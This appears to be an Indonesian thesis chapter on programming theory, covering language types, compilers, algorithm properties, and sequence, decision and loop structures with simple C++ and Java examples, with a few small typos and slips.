1. BAB I
LANDASAN TEORI
1.1. Pemrograman1
Yang dimaksud dengan program adalah kumpulan instruksi yang
digunakan untuk mengatur komputer agar melakukan suatu tindakan tertentu.
Tanpa program, komputer sesungguhnya tidak dapat berbuat apa-apa. Itulah
sebabnya sering dikatakan bahwa komputer mencakup tiga aspek penting, berupa
perangkat keras (hardware), perangkat lunak (software) yang dalam hal ini berupa
program, dan perangkat akal (brainware) atau orang yang berperan dalam operasi
komputer maupun pengembangan perangkat lunak. Dengan kata lain, program
merupakan salah satu bagian penting pada komputer yang mengatur komputer
agar melakukan aksi yang sesuai dengan yang dikehendaki oleh pembuatnya.
Orang yang membuat program biasa disebut pemrogram (programmer). Adapun
aktivitas yang berhubungan dengan pembuatan program dinamakan pemrograman
(programming).
Suatu program ditulis dengan mengikuti kaidah bahasa pemrograman
tertentu. Bahasa pemrograman dapat dianalogikan dengan bahasa yang digunakan
manusia (bahasa manusia). Sebagaimana diketahui, ada bermacam-macam bahasa
manusia, seperti bahasa Inggris, bahasa Indonesia ataupun bahasa Batak.
Kumpulan instruksi dalam bahasa manusia yang berupa sejumlah kalimat dapat
anda analogikan dengan suatu program. Manusia dapat mengerjakan suatu
instruksi berdasarkan kalimat-kalimat dan komputer dapat menjalankan suatu
instruksi dengan program.
Dalam konteks pemrograman, terdapat sejumlah bahasa pemrograman,
seperti Pascal, C, C++, dan BASIC. Secara garis besar, bahasa-bahasa
pemrograman dapat dikelompokkan menjadi:
a. Bahasa beraras-tinggi (high-level language)
b. Bahasa beraras-rendah (low-level language)
1
Abdul Kadir dan Heriyanto, Algoritma Pemrograman (Yogyakarta: Andi, 2005), hal. 2-6
2. Bahasa beraras-tinggi adalah bahasa pemrograman yang berorientasi
kepada bahasa manusia. Program dibuat dengan menggunakan bahasa
pemrograman yang mudah dipahami oleh manusia, biasanya menggunakan kata-
kata bahasa Inggris; misalnya IF untuk menyatakan “jika” dan AND untuk
menyatakan “dan”. Yang termasuk dalam kelompok bahasa ini adalah bahasa C,
C++, Pascal, dan BASIC.
Bahasa beraras-rendah adalah bahasa pemrograman yang berorientasi
kepada mesin. Bahasa ini menggunakan kode biner (yang hanya mengenal kode 0
dan 1) atau suatu kode sederhana untuk menggantikan kode-kode tertentu dalam
menggantikan sistem biner. Yang tergolong dalam kelompok bahasa ini adalah
bahasa mesin dan bahasa rakitan. Bahasa-bahasa seperti ini sangat sulit untuk
dipahami oleh orang awam dan sangat membosankan bagi pemrogram yang sudah
terbiasa dengan bahasa beraras tinggi. Pemrogram harus benar-benar menguasain
operasi komputer secara teknis. Pemrogram harus benar-benar menguasai operasi
komputer secara teknis. Namun bahasa generasi ini memberikan eksekusi
program yang sangat cepat. Selain itu bahasa mesin sangat bergantung pada mesin
(machine dependent); Artinya, bahasa mesin antara satu mesin dengan mesin yang
lain jauh berbeda.
Program yang ditulis dalam bahasa pemrograman seperti C dan C++
sebenarnya tidak dimengerti oleh komputer secara langsung, sebab komputer
hanya mengenal bahasa khasnya saja yang dinamakan bahasa mesin, yakni bahasa
yang hanya mengenal kode 0 dan 1. Supaya program dapat dijalankan
(dieksekusi) oleh komputer, program tersebut harus diterjemahkan terlebih dulu
ke dalam bahasa mesin (atau biasa disebut sebagai kode objek). Proses
penerjemahnya dilakukan oleh program yang disebut translator (penerjemah).
Translator dapat berupa interpreter dan kompiler.
Interpreter menerjemahkan instruksi selama program diminta untuk
dieksekusi. Jika seseorang bermaksud menjalankan program tersebut (agar dapat
dijalankan oleh komputer), mula-mula kode sumber (source code atau program
asli yang ditulis oleh pemrogram) diterjemahkan dulu kedalam bentuk kode mesin
perbaris instruksi. Setelah satu baris instruksi tersebut dipahami oleh komputer,
3. instruksi tersebut dijalankan. Interpreter kemudian kembali memproses baris
instruksi berikutnya. Berbeda dengan interpreter, kompiler menerjemahkan
instruksi kedalam kode objek secara keseluruhan (untuk semua instruksi). Setelah
semua instruksi diterjemahkan, instruksi yang telah dimengerti oleh komputer
dijalankan. Proses penerjemah seperti itu disebut kompilasi. Setelah kompilasi
berakhir, kompiler tidak diperlukan lagi, sebab sesudah kompilasi akan terbentuk
program yang executable (dapat dijalankan secara langsung tanpa melalui
translator).
2
Bahasa pemrograman juga dapat diklasifikasikan menjadi bahasa
prosedural dan bahasa deklaratif. Pada bahasa prosedural, pemrogram perlu
menuliskan instruksi-instruksi yang rinci agar komputer dapat melaksanakan
tugasnya. Pendekatan prosedural terdapat pada bahasa-bahasa pemrograman
seperti C, Pascal dan BASIC. Pada bahasa deklaratif (non-prosedural), untuk
mendapatkan sesuatu hasil, seorang pemrogram tidak perlu memberitahukan
secara detail tentang bagaimana mendapatkannya. Pendekatan deklaratif antara
lain diterapkan pada bahasa seperti Prolog (bahasa untuk menangani kecerdasan
buatan).
Klasifikasi yang lain berupa bahasa yang berorientasi pada objek atau
tidak berorientasi pada objek. Bahasa pemrograman yang berorientasi objek
adalah bahasa pemrograman yang memungkinkan untuk mengemas suatu
prosedur dan data dalam suatu wadah yang disebut kelas. Kelas inilah yang
menjadi cetakan bagai objek-objek. Model pemrograman pada seperti ini telah
menjadi tren bahasa-bahasa pemrograman baru pada masa kini. Keuntungannya,
kode yang telah dibuat dapat dikembangkan dengan mudah. Sifat ini dikenal
dengan sebutan reusability. Termasuk dalam bahasa yang berorientasi objek
adalah C++. Adapun C adalah contoh bahasa pemrograman yang tidak
berorientasi pada objek.
Orang membuat program biasanya bertujuan untuk menyelesaikan
masalah. Namun sebelum dapat menyelesaikan masalah dengan program, terdapat
tiga langkah penting yang perlu dilakukan terlebih dulu.
2
Ibid,. hal. 8-12
4. 1. Menganalisis masalah dan membuat algoritma,
Proses pertama, menganalis masalah dan membuat algoritma memang tidak
dapat begitu saja diwujudkan. Pengalaman, pengetahuan, kreativitas, imajinasi,
dan kelihaian merupakan faktor-faktor yang menentukan sekali keberhasilan
langkah ini. Didalam analisis masalah diperlukan tindakan untuk mengidentifikasi
informasi yang menjadi keluaran pemecahan masalah dan data-data yang menjadi
masukan.
Berdasarkan hal itu diperlukan prosedur untuk mengolah masukan tersebut
menjadi keluaran yang dikehendaki. Seperti yang telah dijelaskan, komputer tidak
akan berarti apa-apa tanpa adanya langkah detail yang menyusun prosedur.
Langkah detail yang ditujukan untuk komputer guna menyelesaikan suatu
masalah inilah yang disebut algoritma. Namun yang disebut algoritma ini berbeda
dengan program, karena algoritma secara teoritis bersifat bebas dari bahasa
pemrograman.
Algoritma tidak selamanya dinyatakan dalam bahasa manusia. Kadang-
kadang dinyatakan dalam bentuk pseudokode (pseudocode), yaitu suatu bentuk
algoritma yang menggunakan berbagai notasi yang dimaksudkan untuk
menyederhanakan bentuk kalimat manusia. Ada kalanya suatu algoritma disajikan
dalam bentuk diagram alir (flowchart). Diagram alir adalah suatu standar untuk
menggambarkan urutan langkah dalam suatu proses. Setiap langkah dalam
algoritma dinyatakan dengan sebuah simbol dan aliran setiap langkah (dari suatu
langkah ke langkah lain) dinyatakan dengan garis yang dilengkapi panah.
3
Dalam praktik sekali pemrogram menyelesaikan persoalan dengan
menggabungkan algoritma-algoritma yang pernah dibuat oleh orang lain. Sebagai
contoh, didalam mengurutkan sekumpulan data, pemrogram dapat menggunakan
algoritma seperti quick sort ataupun insertion sort. Algoritma-algoritma seperti itu
banyak diulas dalam buku-buku yang membahas masalah algoritma, struktur data,
dan pemrograman. Oleh karena itu, selain harus memiliki kemampuan dasar
dalam membuat algoritma, seorang pemrogram juga perlu mengetahui berbagai
3
Ibid,. hal. 14-17
5. algoritma yang pernah dibuat orang supaya penyelesaian masalah dapat dilakukan
secara optimal.
2. Menuangkan algoritma kedalam bentuk program,
Langkah menuangkan algoritma kedalam programditentukan oleh faktor
bahasa pemrograman yang akan digunakan. Dengan kata lain, untuk
menuangkan algoritma ke program, pemrogram harus tahu seluk beluk
bahasa pemrograman yang digunakan.
3. Mengeksekusi dan menguji program.
Setelah program dibuat dan dikompilasi, program perlu dijalankan untuk diuji
kebenarannya. Ada beberapa kemungkinan kesalahan yang terjadi sewaktu
proses kompilasi hingga pengeksekusian program.
a. Kesalahan sintaksis, disebabkan adanya kesalahan dalam menuliskan
program yang tidak sesuai dengan kaidah bahasa pemrograman. Contoh,
suatu pernyataan C ataupun C++ tidak diakhiri dengan titik-koma,
sementara kaidah bahasa C dan C++ mengharuskan setiap pernyataan
diakhiri dengan titik-koma. Kesalahan sintaksis terdeteksi sewaktu
kompilasi bila digunakan kompiler C atau C++, tetapi dapat jadi
terdeteksi pada saat eksekusi pada bahasa pemrograman yang
berorientasi pada interpreter (misalnya pada interpreter BASIC).
b. Kesalahan logika, kesalahan yang terjadi karena ada logika yang salah.
Misalnya, kita menuliskan 31.4 untuk menyatakan phi, padahal yang
betul adalah 3.14. Akibatnya, hasil yang didapatkan tidak benar.
Kesalahan seperti ini terkadang sulit untuk dideteksi terutama kalau
program sangat kompleks.
c. Kesalahan runtime atau kesalahan fatal, kesalahan yang terjadi karena
suatu operasi dalam program tidak dapat dilakukan oleh komputer.
Sebagai contoh, jika terdapat operasi pembagian dengan nol, maka suatu
pesan kesalahan akan ditampilkan dan eksekusi program dihentikan.
Didalam terminologi program terdapat istilah yang dinamakan bug (kutu)
yang menyatakan suatu kesalahan pada program. Pencarian kutu seringkali sulit
dilakukan dan memakan waktu. Ibarat mencari jarum dalam tumpukan jerami.
6. Untuk menangani hal seperti itu pemrogram terkadang memanfaatkan peranti
yang dinamakan debugger, yaitu perangkat lunak yang ditujukan untuk
mempermudah dalam mencari kesalahan (kutu) dalam program. Adapun proses
untuk mencari kesalahan dan membetulkannya biasa disebut debugging.
4
Proses semacam algoritma sebenarnya dapat dijumpai dalam kehidupan
sehari-hari. Jika kita membaca resep makanan, kita akan melihat prosedur
membuat masakan, selain bahan-bahan yang digunakan. Prosedur dalam resep
seperti itu sebenarnya menyatakan semacam algoritma. Dengan mengikuti
langkah-langkah yang diberikan, kita dapat membuat masakan tersebut. Dalam
pengertian sekarang, algoritma mempunyai kesamaan tidak hanya dengan resep
(masakan), tetapi juga dengan proses, metode, atau prosedur. Misalnya
memperlihatkan suatu prosedur untuk memanaskan makanan kedalam pemasak
microwave.
1. Taruhlah makanan dalam wadah yang aman untuk microwave
2. Tutuplah pintu microwave dengan rapat
3. Tancapkan steker ke stop kontak
4. Putarlah knop ke posisi 5 menit
5. Tunggu sampai lampu mati dan ada bunyi „ting‟
6. Lepaskan steker dari stop kontak
7. Bukalah pintu pemasak microwave dan keluarkan wadah yang berisi makanan
tersebut.
Prosedur tersebut merupakan suatu urutan yang memandu orang untuk
melakukan suatu proses. Namun ada perbedaan antara algoritma dan prosedur.
Prosedur biasanya bersifat global dengan mengasumsikan bahwa manusia telah
mengetahui rincian langkah-langkah tertentu. Sebagai contoh, perhatikan prosedur
berikut:
1. Ambil 5 buah kartu
2. Urutkan kartu tersebut
4
Ibid,. hal. 40-42
7. Pada langkah kedua, manusia dapat mengurutkan kartu tersebut dengan
mudah tanpa harus diberi tahu caranya. Namun hal seperti itu tidak dapat
diterapkan pada komputer. Jika komputer mengenal lima buah data dan kita
mengharapkan komputer untuk mengurutkannya, kita harus memberitahu secara
detail bagaimana cara mengurutkannya. Itulah sebabnya didalam ilmu komputer
terdapat berbagai algoritma yang ditujukan untuk mengurutkan data, seperti
Bubble sort, Insertion sort, dan Quick sort. Algoritma-algoritma ini menjamin
bahwa setiap langkah tersebut dapat dikerjakan oleh komputer.
Sejauh ini tidak ada standarisasi tentang bagaimana menyusun algoritma.
Secara prinsip, kita mempunyai kebebasan untuk menyusun bentuk suatu
algoritma. Kita dapat menggunakan kata-kata dalam bahasa manusia, pseudokode,
atau bahkan diagram alir untuk mewujudkan suatu algoritma. Kita juga
menggunakan cara-cara kita sendiri untuk menuliskan sutu algoritma dengan
memegang teguh konsistensi.
Walaupun begitu ada beberapa hal yang perlu diperhatikan dalam
menyusun suatu algoritma. Menurut Knuth (1973, hal. 4) dan juga Horowitz
(1999, hal. 1), ada 5 ciri-ciri penting yang harus dimiliki sebuah algoritma, yaitu
berupa finiteness, definiteness, masukan, keluaran, dan efektivitas.
1. Finiteness, menyatakan bahwa suatu algoritma harus berakhir untuk semua
kondisi setelah memproses sejumlah langkah.
2. Definiteness, menyatakan bahwa setiap langkah harus dinyatakan dengan
jelas (tidak rancu atau mendua arti)
3. Masukan, setiap algoritma mempunyai satu atau beberapa masukan. Masukan
merupakan suatu besaran yang diberikan diawal sebelum algoritma diproses.
4. Keluaran, setiap algoritma memiliki keluaran, entah hanya sebuah keluaran
atau banyak keluaran. Keluaran merupakan besaran yang mempunyai kaitan
atau hubungan dengan masukan.
5. Efektivitas, setiap algoritma diharapkan bersifat efektif, dalam arti semua
operasi yang dilaksanakan oleh algoritma harus sederhana dan dapat
dikerjakan dalam waktu yang terbatas. Secara prinsip, setiap instruksi dalam
8. algoritma dapat dikerjakan oleh orang dengan hanya menggunakan kertas dan
pensil.
Menurut Cormen dkk (1994, hal.2), sebuah algoritma dikatakan benar,
untuk berbagai ragam masukan, jika algoritma berakhir dengan keluaran yang
benar. Pada keadaan seperti ini algoritma menyelesaikan masalah komputasi yang
diberikan. Selain ketentuan-ketentuan yang tekah disebutkan, patut pula
ditekankan disini untuk selalu menghindari langkah yang merujuk kelangkah lain.
5
Kehadiran komputer memang sangat membantu menyelesaikan segala
permasalahan yang manusia miliki. Tetapi untuk berkomunikasi dengan
komputer, manusia memerlukan suatu bahasa yang dapat dimengerti oleh
komputer sehingga komputer akan memahami sebenarnya apa yang dimaksud.
Sarana komunikasi yang menjembatani hubungan antara manusia dengan
komputer yang dalam hal ini adalah mesin disebut disebut bahasa komputer.
Dengan bahasa ini, komputer akan mampu memahami dan mengerti perintah-
perintah yang diberikan. Bahasa komputer ini sering disebut juga sebagai bahasa
pemrograman komputer. Adapun maksud dari bahasa pemrograman komputer
adalah suatu prosedur atau tata cara penulisan program, yang dalam hal ini adalah
kata, ekspresi, pernyataan atau kombinasi semuanya yang disusun dan dirangkai
dan berupa urutan langkah-langkah untuk menyelesaikan masalah.
Pada bahasa pemrograman komputer terdapat beberapa faktor yang harus
diperhatikan yaitu sintaksis, semantik dan kebenaran logika. Sintaksis adalah tata
bahasa yang digunakan dalam program. Semantik adalah maksud yang dikandung
dalam setiap pernyataan yang ada dalam program. Kebenaran logika berhubungan
dengan benar tidaknya urutan pernyataan yang ada dalam program.
Dalam menulis program dengan menggunakan suatu bahasa komputer,
ada kemungkinan terjadi kesalahan baik itu pada sintaksis, semantik atau
kebenaran logika. Kesalahan sintaksis akan langsung kelihatan, karena komputer
akan menampilkan pesan kesalahan. Sedangkan untuk kesalahan semantik
biasanya terjadi karena kekurang pahaman terhadap setiap pernyataan yang
5
Andri Kristant, Algoritma Pemrograman C++ (Yogyakarta: Graha Ilmu, 2003), hal. 1-16
9. dituliskan pada program, sehingga walaupun program bisa berjalan tetapi tidak
seperti yang dikehendaki. Untuk kesalahan logika merupakan kesalahan dalam
mengimplementasikan masalah yang dihadapi, sehingga program yang ditulis
tidak benar secara logika.
Bahasa pemrograman komputer pada intinya dikelompokkan menjadi 2
bagian yaitu bahasa pemrograman tingkat rendah (low level programming
language) dan bahasa pemrograman tingkat tinggi (high level pemrogramming
language). Bahasa pemrograman tingkat rendah biasanya sulit dipahami karena
berhubungan dengan mesin komputer itu sendiri. Salah satu contoh bahasa
pemrograman tingkat rendah adalah bahasa assembler. Program yang ditulis
dengan bahasa Assembler terdiri dari label; kode mnemonic dan lain sebagainya,
pada umumnya dinamakan sebagai program sumber (source code) yang belum
bisa diterima oleh prosessor untuk dijalankan sebagai program, tapi harus
diterjemahkan dulu menjadi bahasa mesin dalam bentuk kode biner. Kode biner
disini dilambangkan dengan angka 0 dan 1. Kita tidak akan membahas bahasa
assembler ini.
Bahasa pemrograman tingkat tinggi merupakan bahasa pemrograman
yang memakai kata-kata dan pernyataan yang mudah dimengerti manusia,
meskipun masih jauh berbeda dengan bahasa manusia sesungguhnya. Adapun
contoh dari bahasa pemrograman tingkat tinggi adalah pascal dan C. Dalam buku
ini akan digunakan bahasa C khususnya C++.
Proses menulis program didalam komputer tidak sekedar hanya menulis
suatu urutan instruksi untuk dikerjakan oleh komputer melainkan untuk
memecahkan suatu permasalahan dengan mencari alternatif solusi yang terbaik
untuk dipilih.
Ada 4 hal yang harus diperhatikan dalam proses pemecahan masalah
sebelum diimplementasikan dalam sebuah program, yaitu:
1. Menganalisa dan memahami suatu permasalahan dan dibuat suatu algoritma,
dimana algoritma merupakan pola pikir terstruktur yang berisi tahap-tahap
penyelesaian suatu permasalahan.
10. 2. Membuat sutu kode dari algoritma yang telah dibuat kedalam pernyataan-
pernyataan yang sesuai dengan bahasa pemrograman yang dipakai.
3. Testing dan Debugging. Testing merupakan proses menjalankan program
secara rutin untuk menemukan kesalahan-kesalahan dalam program dan
kesalahan yang ditemukan diperbaiki sampai tidak muncul kesalahan lagi.
4. Melakukan dokumentasi terhadap setiap langkah yang dilakukan.
Dokumentasi ini sangat penting untuk mengembangkan program selanjutnya.
Permasalahan yang dihadapi akan dicari solusi dan diimplementasikan
dalam suatu bahasa pemrograman dengan komputer. Kondisi semacam ini
dinamakan dengan pemrograman. Lebih khusus lagi dalam mengimplementasikan
urutan langkah dalam penyelesaian suatu masalah, kita menggunakan bentuk dan
rancang bangun yang mudah dipahami, tidak berbelit-belit, sederhana dan dapat
dikembangkan siapa saja. Konsep ini dinamakan pemrograman terstruktur.
Adapun ciri-ciri atau karakteristik dari pemrograman terstruktur adalah
sebagai berikut;
1. Mempunyai teknik pemecahan permasalahan yang tepat dan benar.
2. Memiliki algoritma pemecahan masalah yang sederhana dan efisien dalam
memecahkan masalah.
3. Teknik penulisan program memiliki struktur logika yang benar dan mudah
dipahami.
4. Membutuhkan biaya testing yang rendah.
5. Memiliki dokumentasi yang baik.
Setelah kita memahami konsep pemrograman terstruktur, tentu akan
mudah dalam penyusunan dan pembuatan suatu program. Beberapa langkah yang
harus diperhatikan oleh pemrogram sebelum mengimplementasikan suatu
permasalahan dalam program adalah;
1. Mendefinisikan masalah
Tujuan dari mendefinisikan masalah adalah untuk memahami permasalahan
secara mendalam. Langkah ini akan berkaitan dengan apa yang akan
diinputkan pada program, perintah-perintah apa yang akan digunakan dan
bagaimana bentuk outputnya. Jadi harus dipahami benar-benar permasalahan
11. yang ada. Salah asumsi tentang masalah yang ada, akan berakibat program
yang dibuat tidak sesuai yang dikehendaki.
2. Mencari solusi untuk masalah
Setelah dipahami permasalahan yang ada baik itu masukan atau input,
perintah yang digunakan atau keluaran tau output yang diinginkan baru dicari
jawaban atau solusi untuk memecahkan masalah sehingga masalah tersebut
dapat terselesaikan dengan baik. Apabila masalah yang dihadapi terlalu besar,
kita dapat membagi menjadi beberapa modul yang dapat memudahkan untuk
menyelesaikan masalah. Modul tersebut dinamakan fungsi. Misalkan ada
suatu permasalahan sebagai berikut: Buatlah program untuk menghitung luas
dan keliling persegi panjang. Dalam hal ini, ada beberapa hal yang diketahui
yaitu bagian mana saja yang menjadi input, proses yang dilakukan apa saja
dan outputnya apa saja. Sesuai permasalahan tersebut dapat ditentukan:
a. Untuk mencari luas dan keliling persegi panjang, kita harus memahami
bentuk persegi panjang itu sendiri, kemudian dalam persegi panjang ini
apa saja yang terkait. Untuk persegi panjang ini, untuk mencari luas dan
keliling harus diketahui panjang dan lebar.
b. Input yang akan dimasukkan adalah panjang dan lebar.
c. Proses atau perintah untuk mencari luas dan keliling persegi panjang
Adalah dengan rumus: luas = panjang*lebar dan keliling=2*(panjang +
lebar)
d. Output yang diharapkan adalah luas dan keliling, dimana perhitungannya
sudah ditentukan.
3. Memilih teknik pemecahan masalah dan algoritma
Dalam pemecahan masalah memerlukan suatu teknik pemecahan masalah
yang tepat. Dalam hal ini nanti akan dituangkan dalam suatu algoritma.
Algoritma dibuat dengan tujuan untuk menyelesaikan suatu masalah.
Algoritma tidak bisa sekali jadi, tetapi akan dikaji berulang-ulang sampai
diperoleh algoritma yang tepat, benar dan relevan. Algoritma harus memiliki
kebenaran secara logika, sehingga siap diimplementasikan dalam program.
12. Misalkan dari permasalahan luas dan keliling persegi panjang, dapat dibuat
suatu algoritma berikut ini:
a. Tentukan variabel dan tipe data yang digunakan. Misalnya untuk
panjang, lebar, luas, dan keliling bertipe integer.
b. Masukkan input yaitu panjang dan lebar.
c. Lakukan proses pencarian luas dan keliling Luas=panjang*lebar Keliling
= 2*(panjang + lebar)
d. Tampilan luas dan keliling persegi panjang.
4. Menulis program
Pada langkah ini akan dituliskan program dalam suatu bahasa pemrograman
kedalam komputer untuk memecahkan masalah yang ada.
5. Melakukan testing dan debugging
Setelah program selesai ditulis, maka langkah selanjutnya yang harus
dilakukan testing dan debugging. Testing merupakan proses menjalankan
program secara rutin untuk menemukan kesalahan-kesalahan dalam penulisan
suatu pernyataan dalam program. Sedangkan debugging adalah proses
menemukan kesalahan-kesalahan dalam program dan kesalahan yang
ditemukan diperbaiki sampai tidak muncul kesalahan lagi. Sebab sering
terjadi kasus yang berbeda antara satu program dengan program yang lain.
Langkah menulis program dan melakukan testing maupun debugging bisa
dilakukan berulang-ulang sampai program berjalan sesuai dengan yang
diharapkan.
6. Melakukan dokumentasi
Secara umum dokumentasi merupakan catatan dari setiap langkah pekerjaan
dalam pembuatan program, yang dilakukan dari awal sampai akhir.
Dokumentasi ini sangat penting dalam melakukan penelusuran jika terjadi
kesalahan dan penting untuk pengembangan program.Selain itu dokumentasi
akan memberikan informasi yang cukup memadai sehingga orang lain akan
dapat mengerti dan memahami alur logika program yang dibuat.
Dokumentasi merupakan hal yang sangat penting dalam program, sebab
dokumentasi ini akan memperjelas maksud dari setiap pernyataan yang ada
13. pada program. Dokumentasi biasanya berupa komentar-komentar pada setiap
baris program. Komentar tersebut biasanya memperjelas setiap pernyataan
pada setiap atau beberapa baris program.
Dalam pemberian komentar, ada beberapa hal yang harus diperhatikan yaitu:
a) Komentar jangan terlalu panjang
b) Komentar harus jelas maksudnya
c) Komentar diletakkan pada tempat yang tepat
d) Keterangan yang ditulis harus logis
e) Tidak menimbulkan salah pengertian
7. Melakukan pemeliharaan
Langkah terakhir dalam pembuatan sebuah program adalah melakukan
perawatan. Hal ini perlu dilakukan karena kemungkinan munculnya kesalahan
diluar dugaan atau biasanya pengguna meminta fasilitas yang baru dalam
program.
1.2. Algoritma
Algoritma merupakan pola pikir yang terstruktur yang berisi tahap-tahap
penyelesaian suatu masalah, yang nantinya akan diimplementasikan kedalam
suatu bahasa pemrograman.
Biasanya dalam program,algoritma digunakan untuk tiga struktur
program yaitu:
1. Struktur urut (sequence structure)
Struktur ini terdiri dari pernyataan atau beberapa pernyataan yang tidak
mempunyai perulangan atau keputusan didalamnya. Berikut ini adalah
algoritma untuk memecahkan masalah dalam program untuk struktur urut.
Misalkan kita diminta untuk membuat algoritma dan program untuk
menghitung luas dan volume suatu balok. Adapun rumus luas dari balok
adalah Luas = (2*p*l) + (2*l*t), sedangkan volume balok adalah Volume =
p*l*t. Catatan: p adalah panjang, l adalah lebar, dan t adalah tinggi.
14. Algoritma dari permasalahan tersebut adalah:
a. Masukkan panjang
b. Masukkan lebar
c. Masukkan tinggi
d. Luas = (2*panjang*lebar) + (2*panjang*tinggi) + (2*lebar*tinggi)
e. Volume = panjang*lebar*tinggi
f. Tampilkan luas
g. Tampilkan volume
Keterangan dari algoritma diatas adalah: pada baris pertama, kedua dan
ketiga, kita diminta untuk memasukkan input yang berkaitan dengan balok
yaitu panjang, lebar dan tinggi. Adapun panjang balok disimpan pada variabel
panjang, lebar balok disimpan pada variabel lebar dan tinggi balok disimpan
pada variabel tinggi. Sedangkan pada baris keempat dan kelima, kita diminta
memasukkan rumus luas dan volume balok, yaitu luas = (2*panjang*lebar) +
(2*panjang*tinggi) + (2*lebar*tinggi) dan Volume = panjang*lebar*tinggi.
Untuk luas balok disimpan pada variabel luas dan volume balok disimpan
pada variabel volume. Dan baris keenam dan ketujuh merupakan hasil dari
proses input dan proses perhitungan dari variabel input yang dimasukkan dan
nantinya akan ditampilkan luas dan volume balok.
2. Struktur keputusan (decision structure)
Struktur pengambilan keputusan (decision) digunakan untuk memilih salah
satu alternatif jawaban yang tepat dari pilihan yang ada. C++ menyediakan
dua perintah pengambilan keputusan yaitu perintah IF dan perintah SWITCH.
Berikut ini adalah contoh algoritma untuk memecahkan masalah dalam
program untuk struktur keputusan. Misalkan kita diminta untuk membuat
algoritma dan program untuk menghitung total pembayaran dari pembelian
seorang pelanggan toko. Dalam masalah ini ada ketentuan, apabila pembelian
pelanggan tersebut sama dengan atau melebihi 100000, maka pelanggan
tersebut mendapat discount 10%, jika tidak pelanggan tersebut hanya
mendapat discount 5%. Algoritma dari permasalahan tersebut adalah:
15. a. Masukkan pembelian
b. Jika pembelian >=100000, discount=10%*pembelian
c. Total=pembelian-discount
d. Jika pembelian <100000, discount=5%*pembelian
e. Total=pembelian-discount
f. Tampilkan pembelian
g. Tampilkan discount
h. Tampilkan total pembayaran
Keterangan dari algoritma tersebut adalah: Pada baris pertama, kita diminta
untuk memasukkan input yang berkaitan dengan permasalahan diatas yaitu
pembelian. Adapun pembelian tersebut disimpan pada variabel beli. Pada
baris kedua, akan dilakukan pengujian dan pengecekan pembelian yang
dimasukkan yaitu apabila pembelian pelanggan tersebut sama dengan atau
melebihi 100000 atau tidak. Jika jawabannya ya, maka pelanggan tersebut
mendapat discount 10% dan untuk menghitung total pembayarannya =
pembelian discount. Untuk discount disimpan dalam variabel disc dan total
pembayaran disimpan dalam variabel total. Jika jawabannya tidak, maka baris
yang akan dikerjakan dalam program adalah baris keempat dan kelima yaitu
pelanggan tersebut hanya mendapat discount 5% dan menghitung total
pembayaran dengan rumus = pembelian-discount. Selanjutnya pada baris
keenam sampai kedelapan, akan ditampilkan pembelian, discount dan total
pembayaran.
3. Struktur perulangan (Looping Structure).
Struktur perulangan (looping) digunakan untuk melakukan suatu proses
secara berulang-ulang, jika suatu kondisi dipenuhi atau sebaliknya. Pada
prakteknya, proses perulangan biasanya digunakan untuk beberapa hal,
misalnya: mengulang proses pemasukan data, mengulang proses perhitungan
dan mengulang proses penampilan hasil pengolahan data.
Berikut ini adalah contoh algoritma untuk memecahkan masalah dalam
program untuk struktur perulangan. Misalkan kita diminta untuk membuat
algoritma dan program untuk menampilkan bilangan dari 10 sampai 1 secara
16. menurun, yaitu 10,9,8,7,6,5,4,3,2,1. Algoritma dari permasalahan tersebut
adalah:
a. Tentukan nilai awal, batas dan penurunan nilai
b. Lakukan perulangan sampai batas terpenuhi
c. Tampilkan bilangan
Keterangan dari algoritma diatas adalah: pada baris pertama, kita diminta
untuk mendefinisikan variabel bilangan dalam hal ini disimpan dalam
variabel n. Adapun nilai awal n adalah 10. Kemudian batas dari bilangan
adalah n>0. Karena yang akan ditampilkan bilangan secara menurun maka
bilangan awal dikurangi satu persatu. Dalam C++, penulisannya adalah n--.
Pada baris kedua, proses perulangan dimulai, n dimulai dari 10, karena 10>1
maka perulangan dilakukan serta proses penurunan berjalan yaitu 10-1=9.
Seterusnya, perulangan dilakukan sampai n=0. Apabila nilai n=0, maka
proses perulangan dihentikan dan langkah selanjutnya akan turun kebaris
ketiga yaitu menampilkan semua bilangan dalam perulangan tersebut.
Salah satu konsep yang penting dalam bahasa pemrograman C++ adalah
struktur. Struktur merupakan suatu bentuk susunan dari suatu program yang
dibuat. Program C++ merupakan program yang berbentuk fungsi-fungsi. Main ()
merupakan nama dari suatu fungsi yang harus ada di program C++ dan diletakkan
dibagian tertentu yang menunjukkan kepada compiler dimana awal dari suatu
program. Selain itu main () ini hanya dapat digunakan sekali saja dalam suatu
program. Dapat jugaa dikatakan bahwa setiap program C harus mengandung
fungsi main () agar dapat diproses.
Tanda brance pembuka “{“ yang diletakkan dibawah nama fungsi main ()
menunjukkan tanda awal dari perintah-perintah yang akan ditulis atau tanda “{“
merupakan awal dari function body atau fungsi blok. Tanda brance penutup “}”
menunjukkan akhir dari suatu fungsi blok. Suatu program C++ dapat terdiri lebih
dari satu fungsi. Pada program sederhana diatas hanya terdiri dari sebuah tubuh
fungsi. Suatu tubuh fungsi dapat berisi beberapa fungsi, sedangkan suatu fungsi
dapat dibuat dari satu atau lebih statement atau library function (fungsi pustaka)
17. yang sudah tersedia. Pada contoh program diatas, perintah printif adalah fungsi
pustaka yang dipergunakan untuk menampilkan hasil.
6
Bagian pertama program Java adalah mengidentifikasi lingkungan
informasi. Untuk melakukan hal ini, susunan program Java menetapkan suatu
kelas atau paket yang akan menjadi sebutan di dalam program itu. Disini,
informasi bantuan yang ditetapkan sebagai statement „import‟. Dalam suatu
program, statement import yang digunakan bisa lebih dari satu. Sebagai contoh,
salah satu statement import yang biasanya digunakan dalam program adalah
import java.awt.*; Statement import tersebut mengimport paket „awt‟, yang mana
digunakan untuk membuat obyek GUI. Disini, java merupakan nama folder, yang
mana didalamnya berisi paket „awt‟ itu. Sedangkan simbol „*‟ menandakan
bahwa semua kelas dibawah paket ini tidak dimasukkan.
Di dalam java, semua kode, mencakup deklarasi fungsi (method) dan
variabel harus dimasukkan dalam suatu kelas. Oleh karena itu, suatu deklarasi
kelas mengikuti import statement yang digunakannya. Sebuah program tunggal
dimungkinkan untuk mempunyai beberapa kelas. Kelas ini boleh extend kelas
lain. Selanjutnya tanda titik koma digunakan untuk mengakhiri statement
program. Selain dari pada itu, program juga boleh berisi komentar. Compiler
mengabaikan komentar itu.
Dalam java juga mempunyai „token (tanda)‟. Token merupakan satuan
individu terkecil dalam sebuah program java. Walaupun sebagai unsur yang
paling kecil dari suatu program namun dia mengandung penuh arti bagi suatu
compiler. Karena itu, program java merupakan sekumpulan dari token-token itu.
Di dalam program java, token digolongkan kedalam lima kategori.
